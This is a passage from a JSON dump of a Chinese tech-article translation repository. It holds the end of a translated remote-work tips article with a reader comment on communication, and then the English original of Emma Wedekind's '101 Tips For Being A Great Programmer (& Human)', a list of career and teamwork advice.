分钟，通过四处走动和伸展双腿的方式。这个休息时间足够的短，以至于我不需要完全重复熟悉我正在做的事情，但只有足够长的时间才能让自己真正的休息一下。这是我现在正在做的，不管我是否感觉很好或者很糟，因为是在我的计划中，所以这是强制性的。\n\n关于艰难时期，我在家工作最喜欢的一件事是如果我真的需要度过一段艰难的时期，我会走到一边，然后大声哭出来，而且我不用因为担心被别人看到而感到害羞。事实上，我释放出的压力，可以让我尽快走出来，然后回归到工作上。这比我想忍住眼泪不掉，坚持几个小时要好 1000 倍。\n\n## 5. 熟练运用你的会议软件\n\n了解如何让自己安静下来，以及如何快速脱离这种状态。确保你在活跃的时候不会说出尖酸刻薄的话。在大型会议中，学会使用软件中的聊天来提问。\n\n## 6. 每周至少计划出一次工作以外的社交活动\n\n我是外向的人，所以这对我来说并不难。我觉得远程工作对于内向的人来说（个人观点）有些看你，以为在工作一天之后，他们的休息方式是一个人。而无论是内向的还是外向的，社交互动的目的总是为了有益精神世界。\n\n## 7. 积极参与当地的非工作性质的社区\n\n在这里，我遇到了很多技术上志同道合的朋友，我经常和他们一起去和咖啡或者啤酒。参加令人尴尬的完全是陌生人的专业会议相比，这类社区活动简直妙不可言。这同时也是一个了解会议和事件的好方式，可以了解他们参加了什么会议。\n\n## 8. 设置提醒刷牙的时间\n\n但我真的总是忘了刷牙。尤其当开始工作前我总习惯边喝咖啡边写博客，咖啡喝完了，牙也忘刷了，屡忘屡犯。所以我设置了每个工作日的 10:30 am 来提醒我以防自己忘记。\n\n## 9. 尝试在工作中设置“社交时间”\n\n不可否认的是，我在这方面做得很差。但有时你确实需要在会议聊天软件上花费一些时间来闲聊。你甚至可以为此命名为“释压聊天”。对于那些刚刚经历过一个压力巨大的产品或网站发布的人来说，这种方式的压力释放是有意义的。我认为我之所以不经常这样做，是因为我在工作的时候处于工作状态，而我喜欢的远程工作方式不会让我分心。但有些人也确实需要和同事在一起相处的社交时间。\n\n## 10. 如果这对你无效，就不要再强制使用它\n\n远程工作不一定适合你。如果这真的对你的健康有害，而且它们对你造成了困扰，那么你也许更适合在办公室工作。我个人是非常热衷于这种方式的，而且会尽我可能的来规划远程工作方式。我喜欢它为我生活带来的灵活性，而且这也节省了我上下班所花费的时间。我现在所做的事情可以允许我即使在办公也可以有时间来进行社交活动。\n\n我很乐意倾听你对于远程工作的想法。\n\n---\n\n**[Fabien Ninoles](https://dev.to/ninoles):**\n\n到目前为止，我的公司已经成立两年了，完全是远程工作（现在大概有 20 个远程开发者，其中大多数在 Montreal 地区，必要时有一个办公室可供共享，但大多数人一周的时间都是呆在家里工作）。\n\n我同意你所有的观点，但我仍然想补充一点，是关于沟通的。\n\n对于远程工作来说，交流是非常重要的。一些人认为这将是一种被孤立的体验，但根据我自己的经验，我发现用今天的工具保持交流是非常容易的。然而有一点要承认的是，我必须要学习会更多：\n\n1. 相比办公室工作，远程工作会受到更多的中断。人们会毫不犹豫地向你提问或是开始交谈，因为他们不知道你正在参与其他工作或者交流。这意味着：\n\n2. 你的交流将更加简洁，特别是与管理许多其他人或对你的组织起核心作用的人之间的交流。你必须想象他们周围的人，像在一个新闻发布会上，并试图回答每个人的问题。不要试图根据没有写的东西来猜测意图。当不清楚的时候要去澄清。记住，你可能也会成为这个人，所以：\n\n3. 你真正需要是更明白自己的意图。即使使用表情符号（甚至是更多复杂内容），意图也不会通过聊天和电子邮件来进行正确完整的传递。花点时间仔细充分的回复，如有必要，也可以发起视频/语音通话。人与人之间的对话仍然是主要的交流手段，肢体语言也是其中的重要组成部分。我常常忘记的是：\n\n4. 即使是 15 分钟的会议。也不要犹豫要不要去安排。如果有必要，就为此新建一个聊天室。在办公室里，这相当于在没有打扰他人或者被打扰的情况下，在一个房间里交谈。确保在这此期间你的在线状态是“在会议中”。这样，你的谈话将更高效，而且对于没人来说你都会保持最小的打扰。\n\n5. 好的，这些就是我的想法了。虽然没有你的见解宽阔，但我希望这能帮助一些人加入远程工作的队伍。我的生活质量的确因此提高了很多，我很确信远程工作是个减少城市化，促进乡镇发展的正确方向。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/101-tips-for-being-a-great-programmer-human.md",
    "content": "> * 原文地址：[101 Tips For Being A Great Programmer (& Human)](https://dev.to/emmawedekind/101-tips-for-being-a-great-programmer-human-36nl)\n> * 原文作者：[Emma Wedekind](https://dev.to/emmawedekind)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/101-tips-for-being-a-great-programmer-human.md](https://github.com/xitu/gold-miner/blob/master/TODO1/101-tips-for-being-a-great-programmer-human.md)\n> * 译者：\n> * 校对者：\n\n# 101 Tips For Being A Great Programmer (& Human)\n\n## 1. Get good at Googling\n\nBeing a programmer is all about learning how to search for the answers to your questions. By learning to Google things effectively, you'll save a lot of development time.\n\n## 2. Under promise and over deliver\n\nIt's better to let your team know a task will take three weeks and deliver in two than the other way around. By under promising and over delivering, you'll build trust.\n\n[![Designer](https://res.cloudinary.com/practicaldev/image/fetch/s--XuAuxqWV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/umrbnosn8g68nep19y21.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--XuAuxqWV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/umrbnosn8g68nep19y21.png)\n\n## 3. Be nice to your designers; they're your friends\n\nDesigners provide solutions to user pain points. Learn from them and work cohesively to build effective products.\n\n## 4. Find a mentor\n\nFind someone you can learn from and bounce ideas off of. [Coding Coach](https://codingcoach.io/) is a great place to get started if you need a technical mentor!\n\n## 5. Be a mentor\n\nBe someone others can learn from and bounce ideas off of. We'd love to have you as a mentor over at [Coding Coach](https://codingcoach.io/)\n\n## 6. Write useful comments\n\nWrite comments which explain the \"why\" and not the \"what\".\n\n## 7. Name variables and functions appropriately\n\nFunctions and variables should accurately denote their purpose, so `myCoolFunction` won't fly.\n\n## 8. Take vacations\n\nWe all need time to de-compress. Take that trip you've been wanting. Your brain and your co-workers will thank you.\n\n## 9. Delete unused code\n\nNo reason to accrue more technical debt.\n\n## 10. Learn to read code\n\nReading code is an undervalued skill, but an invaluable one.\n\n## 11. Establish a healthy work/life balance\n\nYou need time to de-compress after a long workday. Shut off work notifications, remove apps off your phone.\n\n[![Meeting](https://res.cloudinary.com/practicaldev/image/fetch/s--VqSUBCSo--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/fv2vh91wlhe9dh046mub.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--VqSUBCSo--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/fv2vh91wlhe9dh046mub.png)\n\n## 12. Only schedule necessary meetings\n\nCan it be solved in an email or a Slack message? If so, avoid a meeting. If not, be conscious of the duration. Aim for less.\n\n## 13. Pair program\n\nPair programming allows you to play the role of both teacher and student.\n\n## 14. Write great emails\n\nLearn to capture your audience in your emails by being succinct yet clear. Nobody wants to read your four-page email Jerry.\n\n## 15. Get involved in the community\n\nSurrounding yourself with like-minded people will motivate you to push through the lows.\n\n[![Tree](https://res.cloudinary.com/practicaldev/image/fetch/s--T7zjbX2p--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/gpvnfky8mmwakwy8eix1.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--T7zjbX2p--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/gpvnfky8mmwakwy8eix1.png)\n\n## 16. Clean up your branches\n\nClean up your version control branches like you'd clean your house before your in-laws came for a visit. If you don't need it, discard it; don't just throw it in the closet.\n\n## 17. Don't gate keep\n\nBe inclusive. Don't tell others they aren't good enough to be in the industry. Everyone has value.\n\n## 18. Keep learning\n\nYou've chosen a profession that requires continuous learning. Learn to love it.\n\n## 19. Don't give up\n\nIt won't always be easy. But we all started at the same place. You can do it.\n\n## 20. Take tasks that scare you\n\nIf it doesn't scare you, it isn't going to help you grow.\n\n## 21. Clarify requirements before starting\n\nYou should understand the acceptance criteria before delving into writing the code. It will save you time and pain later down the line.\n\n[![React](https://res.cloudinary.com/practicaldev/image/fetch/s--LXs3CSyq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/iiagpq5fbypu8h9sggqn.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--LXs3CSyq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/iiagpq5fbypu8h9sggqn.png)\n\n## 22. Have a toolbox\n\nHave a set of tools which you know inside-and-out. Know which tools serve which purpose and when a project can benefit from using one over another.\n\n## 23. Learn to love constructive criticism\n\nAsk trusted colleagues and friends for constructive criticism. It will help you grow as a programmer and as a human.\n\n## 24. Be open-minded\n\nTechnology changes, and it changes quickly. Don't oppose new technology; learn it and then form an opinion.\n\n## 25. Stay relevant\n\nStay up-to-date on the latest tech news by following publications, blogs, podcasts, and tech news.\n\n## 26. Focus on problem solving\n\nStrong problem solving skills can conquer any problem. Hone in on what it takes to solve a problem.\n\n## 27. Stay humble\n\nNo matter what title you hold or what company you work form, stay humble.\n\n[![Presentation](https://res.cloudinary.com/practicaldev/image/fetch/s--nhgfS-7z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/3skzkor6amr46291uvtp.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--nhgfS-7z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/3skzkor6amr46291uvtp.png)\n\n## 28. Learn to give a great presentation\n\nLearn how to captivate your audience and give effective presentations.\n\n## 29. Examine all solutions before jumping in\n\nDon't jump straight into the first possible solution. Examine all paths before delving into the code.\n\n## 30. Find your niche\n\nThere are many divisions within the tech industry. Find the area that interests you most and become an expert.\n\n## 31. Develop good habits\n\nTry to build consistent, and healthy, habits such as removing distractions, time-boxing tasks, being present in meetings, and starting with the most important task first. It might take some getting used to but it will be worth it in the long-run.\n\n[![Debug](https://res.cloudinary.com/practicaldev/image/fetch/s--zD_K7d71--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/scn44lf4b9moiyp1teei.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--zD_K7d71--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/scn44lf4b9moiyp1teei.png)\n\n## 32. Learn to debug\n\nExplore the browser debugger tools. Learn the ins-and-outs of debugging with your IDE. By learning the most effective methods for debugging a problem and tracing errors, you'll be able to solve even the most difficult bugs.\n\n## 33. Exercise your current skills\n\nJust because you currently know a skill doesn't mean you shouldn't exercise it. Skills fade with time unless consciously improved upon, and this industry evolves so rapidly it's important to keep practicing. Get out of the mindset that \"I've always done it this way\" and into the mindset of \"Is there a better way to do this?\"\n\nJust because you've got a six pack now, doesn't mean you can eat a 🍩 a day and stay that way.\n\n## 34. Understand the why\n\nThere will be times when you have to voice your opinion, so it's important to understand the why behind it. Why is solution A better than solution B? Provide a valid argument and your opinions will be much more sound.\n\n[![Money](https://res.cloudinary.com/practicaldev/image/fetch/s--3rau99gs--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/bwftxcf9uigytg4bgfxm.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--3rau99gs--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/bwftxcf9uigytg4bgfxm.png)\n\n## 35. Know your worth\n\nYou are a commodity, and should be paid appropriately. Be aware of the industry averages in your geographic location. If you're making less money, it's time to have a chat with your manager. Go after what you deserve.\n\n## 36. Don't be afraid to ask for help\n\nIf you're stuck on a problem and spending too much time searching for a solution, it's time to ask for help. We're all human. We all need help. There is no shame in reaching out to a colleague for support.\n\n## 37. Learn to learn\n\nPeople learn in different ways. Some learn best through video tutorials, others through reading a book. Figure out your learning style and practice it diligently.\n\n## 38. Be kind\n\nThere will be times when you're asked to provide feedback on a colleague. Be kind. You can voice your opinions about Deborah's lack of initiative without ripping her to shreds.\n\n## 39. Take breaks\n\nIt's nearly impossible to spend 8 consecutive hours coding. You'll burn out quickly and make a lot of mistakes. So set a timer to remind yourself to stop and take a break. Go for a walk. Get a coffee with a colleague. Stepping away from the screen will positively impact your productivity and the quality of your work.\n\n## 40. Track your progress\n\nLearning to code takes time and can be extremely disheartening when you don't see progress. So it's important to track your achievements and progress towards your goals. Keep a small list next to your computer and each time you achieve something, write it down, no matter how small. Atomic achievements compound to much larger rewards.\n\n[![React](https://res.cloudinary.com/practicaldev/image/fetch/s--97NnU31z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/iu5gfm3zns37g763quxt.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--97NnU31z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/iu5gfm3zns37g763quxt.png)\n\n## 41. Don't rely on a framework or library\n\nLearn the nuances of a language better than the ins-and-outs of a framework or library. You don't necessarily need to learn one before another, but understanding why a framework or library works the way it does will help you write cleaner and more performant code.\n\n## 42. Learn to love code reviews\n\nHaving someone read and analyze your code can be terrifying, but can offer you invaluable feedback which will make you a better programmer. You should also work on your ability to conduct a good code review.\n\n## 43. Learn about tangential spaces\n\nLearn some basics about tangential spaces, such as design, marketing, frontend development or backend development. It will help you to become a more well-rounded programmer.\n\n## 44. Don't choose the comfortable technology; choose the right one\n\nEach project will have different needs, and as such we must choose the right tools for the job. Although it's comfortable to choose technologies you've worked with previously, if they don't suit the needs of the project, alternatives should be explored.\n\n## 45. Take responsibility for your mistakes\n\nAll humans make mistakes and you will many many throughout your career. Thus it's important to own up and take responsibility when you've made a mistake. It will build trust with your team members and management.\n\n## 46. Review your own code\n\nBefore opening a pull request, review your own code. If this were the work of a colleague, what comments would you make? It's important to first try to diagnose problems or mistakes before requesting a code review.\n\n## 47. Learn from your failures\n\nFailure is simply not achieving the expected outcome, and is not necessarily a bad thing. We all have many failures during the course of our careers. Learn from your downfalls. What can you do differently next time?\n\n## 48. Recognize your weaknesses\n\nGet to know yourself. What are your weaknesses? Maybe you always forget to update the tests before pushing. Or maybe you are really bad at replying to emails. Learn your weaknesses so you can actively work to address them.\n\n## 49. Stay curious\n\nThis industry is ever-evolving, so curiosity will be important. If you don't understand something, be it a project requirement or a line of code, speak up. Nobody will criticize you for asking for clarification and you'll create better code as a result.\n\n[![Book](https://res.cloudinary.com/practicaldev/image/fetch/s--ypw1fzcI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/qzhic8yqs0pu28bo78lf.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--ypw1fzcI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/qzhic8yqs0pu28bo78lf.png)\n\n## 50. Don't try to learn everything\n\nThere is an infinity pool of knowledge in the world and it is simply impossible to conquer it all. Pick several topics to master and leave the rest be. You can acquire working or tangential knowledge about other areas, but you cannot possibly master everything.\n\n## 51. Kill your darlings\n\nJust because you write some code doesn't mean you need t be emotionally attached to it. Nobody likes their work being thrown out, but code has a life cycle, so there's no need to be territorial about it.\n\n## 52. Have your team's back\n\nGood teams have each others' backs. This creates a safe space to try new things without fear of retribution.\n\n## 53. Find inspiration in the community\n\nFind a few people in the industry you admire. It will inspire you to keep working on your projects or try new things.\n\n## 54. Value your work\n\nRegardless of how much experience you have or what your job title is, your work has value. Give it the value it deserves.\n\n[![Phone](https://res.cloudinary.com/practicaldev/image/fetch/s--QyhOZjHL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/9gg3o6rl7retjl9n90ku.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--QyhOZjHL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/9gg3o6rl7retjl9n90ku.png)\n\n## 55. Disable distractions\n\nTurning off Slack notifications, text messages, emails, and social media will help you focus and maximize your workday.Jerry won't fall apart if it takes you 30 minutes to respond to his message.\n\n## 56. Be supportive\n\nTry and support your team members whether that's by attending an important presentation or helping them if they get stuck.\n\n## 57. Give credit where credit is due\n\nIf someone does great work, tell them. Positive re-enforcement is a great way to build trust with your team members and help their careers. They'll be more likely to help you along as well.\n\n## 58. Test your code\n\nTests are important. Unit tests, regression tests, integration tests, end-to-end tests. Test your code and your product will be much more stable.\n\n## 59. Plan out your approach\n\nWhen you receive a new feature request or get a new bug ticket, first plan your attack. What do you need to solve this problem or develop this feature? Taking even just a few minutes to plan your attack can save you hours of frustration.\n\n## 60. Learn to pseudocode\n\nPseudocoding is a great skill to have because it allows you to think through complex problems without wasting time writing lines of code. Write an approach down on paper, run through different test cases and see where the pitfalls are.\n\n[![Win](https://res.cloudinary.com/practicaldev/image/fetch/s--uQ2UJkJY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/6l0lkgxbxz60sbsa3o59.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--uQ2UJkJY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/6l0lkgxbxz60sbsa3o59.png)\n\n## 61. Keep track of your achievements\n\nIf you win an award at work, write it down. If you develop a crucial feature, write it down. You'll create a backlog of things which can aid with a promotion or boost your morale on a tough day.\n\n## 62. Learn programming foundations\n\nLearn some basic sorting and searching algorithms and data structures. These are language-agnostic and can help you solve problems across languages.\n\n## 63. Choose technology for longevity & maintainability\n\nAlthough it's fun to test out the newest technologies, pick those which will be easy to maintain within an enterprise application. Your team will thank you for years to come.\n\n## 64. Learn design patterns\n\nDesign patterns are useful tools for architecting code. You may not need them for every project, but having a basic understanding of them will help scaffold out larger applications.\n\n## 65. Reduce ambiguity\n\nInstead of writing convoluted code which shows off your snazzy programming skills, aim for readability and simplicity. This will make it easier for your team members to contribute.\n\n[![Debt](https://res.cloudinary.com/practicaldev/image/fetch/s--fX3cKq9j--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/6rg8pvj8ezhreshjjx6o.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--fX3cKq9j--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/6rg8pvj8ezhreshjjx6o.png)\n\n## 66. Pay off technical debt\n\nTechnical debt can have massive performance implications, so if you're able to refactor, you should.\n\n## 67. Ship often\n\nInstead of shipping a massive upgrade once every month, ship more frequently with smaller changelogs. You're less likely to introduce bugs and breaking changes.\n\n## 68. Commit early and often\n\nCommitting early and committing often is the best way to ensure that your work remains clean and also reduces the stress of accidentally reverting important changes.\n\n## 69. Learn when to ask for help\n\nNot only should you not be afraid to ask for help, but you should learn when to ask for help. You should always try to solve a problem before asking for help, and keep track of the things you try. But when you've been stumped by a simple problem for over an hour, the cost outweighs the benefit, and you should reach out to a colleague.\n\n## 70. Ask effective questions\n\nWhen asking a question, try to be as specific as possible.\n\n## 71. Get feedback on unfinished work\n\nYour work doesn't need to be finished for you to get feedback. If you're uncertain of the direction, ask a trusted colleague to review the validity of your solution.\n\n[![Read](https://res.cloudinary.com/practicaldev/image/fetch/s--ajqLQ2p0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/pizzzb8twdan6231fdjq.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--ajqLQ2p0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/pizzzb8twdan6231fdjq.png)\n\n## 72. Read documentation\n\nDocumentation is the purest source of truth about a technology, so learning to read it can quickly help you to become an expert.\n\n## 73. Try all the things\n\nNothing is stopping you from trying a solution to a problem. What do you have to lose?\n\n## 74. Speak up in meetings\n\nYour ideas and opinions are valuable so participating in meetings will help you develop a rapport with your team as well as management.\n\n## 75. Collaborate cross-team\n\nIf you get an opportunity to with with another team in your company, go for it.\n\n## 76. Have passion projects\n\nWhen you work 40 hours a week, it's important to take time for passion projects. They help you reinvigorate your love of programming and try new technologies you might not have access to at work.\n\n## 77. Define your career goals\n\nIt's important to have an idea of your ideal trajectory for your career. If you don't, you're trying to shoot an arrow without having a target.\n\n[![Talk](https://res.cloudinary.com/practicaldev/image/fetch/s--SPitWbzG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/fjqq1ghzpz4qqcjhoew6.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--SPitWbzG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/fjqq1ghzpz4qqcjhoew6.png)\n\n## 78. Get involved in the conversation\n\nComment on blogs, participate in Twitter threads. Engage with the community. You'll learn a lot more from being an active bystander than a wallflower.\n\n## 79. Prioritize tasks\n\nLearning to prioritize your tasks will help you enhance your productivity. Keep an active to-do list of immediate daily tasks as well as longer-term tasks and order them by most important.\n\n## 80. Don't overlook the details\n\nDetails can make a big difference in a project.\n\n## 81. Trust your teammates\n\nYour teammates were hired for their skills. Use them and trust them to get the job done.\n\n## 82. Learn to delegate\n\nIf you're in a leadership position, learn how to delegate effectively. It will save you time and frustration. You cannot do it all.\n\n## 83. Don't compare yourself to others\n\nThe only thing you should compare yourself to is who you were yesterday.\n\n## 84. Surround yourself with allies\n\nLearning to program will be a long, and not always easy, journey. Surround yourself with the people who build you up and encourage you to keep going.\n\n[![Build](https://res.cloudinary.com/practicaldev/image/fetch/s---Cgcxmny--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/84lhizall1hn9flgvudv.png)](https://res.cloudinary.com/practicaldev/image/fetch/s---Cgcxmny--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/84lhizall1hn9flgvudv.png)\n\n## 85. Don't start for scale\n\nStarting for scale is a surefire way to become overwhelmed. Build with scalability in mind, but don't start scaling until you need it. This way you don't overwhelm your team with unnecessary bloat, but you maintain the ability to grow.\n\n## 86. Weigh performance implications\n\nIf you want to use a cool, new technology you should weigh the performance implications of doing so. Could you implement something similar without taking a performance hit? If so, you may want to re-think your approach.\n\n## 87. Don't discriminate\n\nDon't discriminate against new technologies or ideas. Be open-minded about the possibility of learning new skills. Also don't discriminate against people. We all deserve respect.\n\n## 88. Apply for jobs you aren't qualified for\n\nYou will never meet every requirement for a job. So take a chance and apply! What do you have to lose?\n\n## 89. Modularize your code\n\nYou could write all of your code in one long file, but this isn't maintainable. By modularizing, we ensure that our code is easily digestible and testable.\n\n## 90. Don't JUST copy and paste\n\nIf you're going to copy and paste a solution from Stack Overflow, you should understand **exactly** what it does. Be intentional about the code you choose to introduce.\n\n[![Coding](https://res.cloudinary.com/practicaldev/image/fetch/s--YyPmerE5--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/uts4vd8ab10x8oct7fwb.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--YyPmerE5--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/uts4vd8ab10x8oct7fwb.png)\n\n## 91. Create an inspiring environment/setup\n\nYou'll be much more motivated to work if you enjoy your workspace and technical setup. Make it you.\n\n## 92. Remember where you came from\n\nWe all started from the same place. As your skills and your job titles evolve, don't forget where you came from.\n\n## 93. Try to remain optimistic\n\nIf something goes wrong, try and be optimistic. Tomorrow is a new day. Optimism will help your team dynamic and your mental health.\n\n## 94. Continually re-assess your workflow\n\nJust because something works now doesn't mean it always will. Re-evaluate your workflow and make adjustments where necessary.\n\n## 95. Learn how to work from home\n\nIf you have the ability to work from home, learn to do so effectively. Find a separate office space, devoid of distractions. [Boneskull](https://dev.to/boneskull/pro-tips-for-devs-working-at-home-3b63) wrote a great article on working from home you should check out.\n\n[![Accessibility](https://res.cloudinary.com/practicaldev/image/fetch/s--Y-0GPXeE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/a45rv6rwqin3pzs3ztoo.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--Y-0GPXeE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/a45rv6rwqin3pzs3ztoo.png)\n\n## 96. Code for accessibility\n\nAccessibility isn't an afterthought, and it doesn't have to be difficult. Everyone should be able to use your products.\n\n## 97. Honor your commitments\n\nIf you tell someone you'll deliver something by a certain date, honor that commitment. And if you can no longer make the deadline, speak up early.\n\n## 98. Be proactive\n\nIf you have some extra bandwidth, find a task to help your team! They'll be thankful you were proactive.\n\n## 99. Build an amazing portfolio\n\nA great portfolio sets you apart from the crowd. Use this as a chance to show off your programming and design skills!\n\n## 100. Remember why you love programming\n\nYou got into this profession because it sparked an interest. If you're getting frustrated and resentful, take a break. Give yourself space to reignite your passion for programming.\n\n## 101. Share your knowledge\n\nIf you learn something cool, share it! Present at a local meetup or conference. Teach your coworker or mentee during lunch. Sharing your knowledge reinforces your knowledge while spreading the wealth.\n\n* * *\n\n[![Finished](https://res.cloudinary.com/practicaldev/image/fetch/s--pg0k20vY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/2hi4fky9ayd9dswlbdns.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--pg0k20vY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/2hi4fky9ayd9dswlbdns.png)\n\nAnd that's it! I hope you enjoyed my tips for being a great programmer (and human)!\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/11-chrome-apis-that-give-your-web-app-a-native-feel.md",
